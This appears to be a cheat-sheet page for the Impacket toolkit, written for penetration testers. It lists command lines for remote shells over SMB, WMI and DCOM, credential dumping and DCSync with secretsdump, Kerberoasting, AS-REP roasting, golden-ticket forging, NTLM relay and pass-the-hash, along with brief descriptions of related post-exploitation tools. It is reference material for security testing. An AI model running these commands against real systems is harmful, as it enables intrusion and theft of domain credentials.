GO KALI FREE

Impacket

Post Exploitation

Advancedhigh risk

Impacket is a versatile collection of Python classes for working with network protocols. It features low-level programmatic access to packets alongside specific full-featured scripts for interacting with Windows domains.

Installation

sudo apt install python3-impacket

Basic Syntax

impacket-<script_name> [options]

Quick Facts

Full Name
Impacket
License
Apache 2.0
Language
Python
Interface
CLI (multiple scripts)
Category
Protocol Toolkit
Protocols
SMB, WMI, Kerberos, LDAP, MSRPC

Tool Overview

Impacket is a comprehensive collection of Python classes and scripts for working with Windows network protocols at a low level. It provides penetration testers with powerful tools for remote execution, credential extraction, and protocol-level attacks.

From remote shell access to full Active Directory database extraction, Impacket's scripts cover the entire post-exploitation lifecycle in Windows environments.

Common Commands

impacket-psexec example.com/<USER>:<PASS>@10.10.10.10Get a SYSTEM shell over SMB using the PsExec-style service technique
impacket-smbexec example.com/<USER>:<PASS>@10.10.10.10Semi-interactive shell via service creation, quieter than psexec
impacket-wmiexec example.com/<USER>:<PASS>@10.10.10.10Execute commands over WMI without dropping a service binary
impacket-atexec example.com/<USER>:<PASS>@10.10.10.10 whoamiRun a single command via the Windows Task Scheduler
impacket-dcomexec example.com/<USER>:<PASS>@10.10.10.10Execute commands through DCOM objects
impacket-secretsdump example.com/<USER>:<PASS>@10.10.10.10Dump SAM, LSA secrets, and cached credentials from a host
impacket-secretsdump -just-dc example.com/<USER>:<PASS>@10.10.10.10Perform a DCSync to extract all domain hashes from a DC
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCALDump secrets from offline registry hive files
impacket-GetNPUsers example.com/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10AS-REP roasting: find users that do not require Kerberos pre-auth
impacket-GetUserSPNs example.com/<USER>:<PASS> -dc-ip 10.10.10.10 -requestKerberoasting: request TGS tickets for accounts with SPNs
impacket-getTGT example.com/<USER>:<PASS> -dc-ip 10.10.10.10Request a Kerberos TGT and save it as a .ccache file
impacket-getST -spn cifs/host.example.com -impersonate Administrator example.com/<USER>:<PASS>Request a service ticket, optionally with S4U impersonation
impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain example.com AdministratorForge a golden/silver Kerberos ticket
impacket-smbclient example.com/<USER>:<PASS>@10.10.10.10Interactive SMB client for browsing shares and transferring files
impacket-smbserver share /path/to/file -smb2supportSpin up an SMB server to host files for transfer
impacket-mssqlclient example.com/<USER>:<PASS>@10.10.10.10 -windows-authConnect to Microsoft SQL Server using Windows authentication
impacket-GetADUsers example.com/<USER>:<PASS> -all -dc-ip 10.10.10.10Enumerate all Active Directory user accounts
impacket-lookupsid example.com/<USER>:<PASS>@10.10.10.10Brute-force SIDs to enumerate domain users and groups
impacket-rpcdump @10.10.10.10Dump the RPC endpoint mapper entries from a host
impacket-samrdump example.com/<USER>:<PASS>@10.10.10.10Enumerate users and shares via the SAMR interface
impacket-ntlmrelayx -tf targets.txt -smb2supportRelay captured NTLM authentication to target hosts
impacket-psexec -hashes <LM>:<NT> example.com/<USER>@10.10.10.10Pass-the-hash with psexec instead of a password
impacket-wmiexec -k -no-pass example.com/<USER>@host.example.comUse an existing Kerberos ccache ticket for WMI execution
impacket-changepasswd example.com/<USER>:<PASS>@10.10.10.10 -newpass <NEWPASS>Change or reset an account password over SMB/RPC
impacket-addcomputer example.com/<USER>:<PASS> -computer-name 'FAKE$' -computer-pass <PASS>Add a machine account to the domain

Step-by-Step Guide

  1. 1Select the module that fits your specific objective
  2. 2Input the required authentication details
  3. 3Run the script against the desired system
  4. 4Navigate the resulting session or parse the extracted information
  5. 5Utilize the output to further compromise the environment

Use Cases

Remote Execution

Execute commands via PsExec, wmiexec, smbexec.

Credential Dumping

Extract SAM, LSA, and NTDS.dit remotely.

Kerberos Attacks

Perform AS-REP roasting and Kerberoasting.

SMB Server

Host SMB shares for file transfer operations.

Key Features

Related Tools

CrackMapExec

Post Exploitation

CrackMapExec (CME) is a post-exploitation tool for pentesting Windows and Active Directory networks. It can enumerate users, spray passwords, execute commands, and move laterally.

Mimikatz

Post Exploitation

Mimikatz is a powerful post-exploitation tool that exposes vulnerabilities in Windows authentication protection mechanisms, capable of extracting plaintexts passwords, hashes, PINs, and kerberos tickets from memory.

Evil-WinRM

Post Exploitation

Learn how to use Evil-WinRM, a Ruby-based client for the Windows Remote Management (WinRM) protocol. This guide covers installation, your first connection, password, pass-the-hash and Kerberos authentication, file transfers and script execution, all for use in authorized lab environments.

Empire

Post Exploitation

Empire is an open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y and now maintained by BC-Security. It uses PowerShell and Python-based agents to model adversarial persistent access behaviors for authorized security testing, red team engagements, and defensive detection engineering. Empire provides encrypted communications, modular capabilities, and a flexible agent system for extended operations against Windows and Linux environments.

BloodHound

Post Exploitation

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment, allowing attackers or defenders to identify complex attack paths.

Cobalt Strike

Exploitation

Cobalt Strike is a commercial penetration testing platform designed for adversary simulation and red team operations. It features a post-exploitation agent called Beacon and supports covert communication channels to model advanced persistent threats.

Related Cybersecurity Guides

Active Directory · Advanced

Active Directory Fundamentals: Windows Network Domains

A comprehensive introduction to Microsoft Active Directory covering domain services, LDAP, Group Policy, authentication protocols, and security fundamentals for Windows enterprise environments.

Active Directory · Advanced

Lateral Movement: Moving Through Network Environments

A comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.

Active Directory · Advanced

Pass-the-Hash: Understanding NTLM Authentication Attacks

An in-depth look at pass-the-hash attacks against NTLM authentication, how they work, real-world exploitation scenarios, detection techniques, and defense strategies.

Active Directory · Advanced

BloodHound Guide: Mapping Active Directory Relationships

Learn how to use BloodHound and SharpHound for Active Directory reconnaissance, attack path analysis, privilege escalation detection, and security assessment.

Frequently Asked Questions

What is Impacket used for?

Impacket is a collection of Python classes for working with Windows network protocols. It includes ready-to-use scripts for remote execution (psexec, wmiexec, smbexec), credential dumping (secretsdump), and Kerberos attacks.

What is the difference between psexec, wmiexec, and smbexec?

psexec uses SMB and Service Control Manager for execution, wmiexec uses WMI (more stealthy), and smbexec creates a semi-interactive shell via SMB. Each has different noise levels and detection risks.

Can Impacket perform Kerberos attacks?

Yes, Impacket includes scripts for Kerberos attacks including GetNPUsers (AS-REP roasting), GetUserSPNs (Kerberoasting), ticketer (golden/silver tickets), and PKINITtools for certificate-based authentication.

How does secretsdump work?

secretsdump performs remote extraction of SAM, LSA secrets, and NTDS.dit from domain controllers. It can dump local account hashes, cached domain credentials, and the full Active Directory database.

Tags

#post-exploitation#network-protocols#smb#windows-pentesting

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.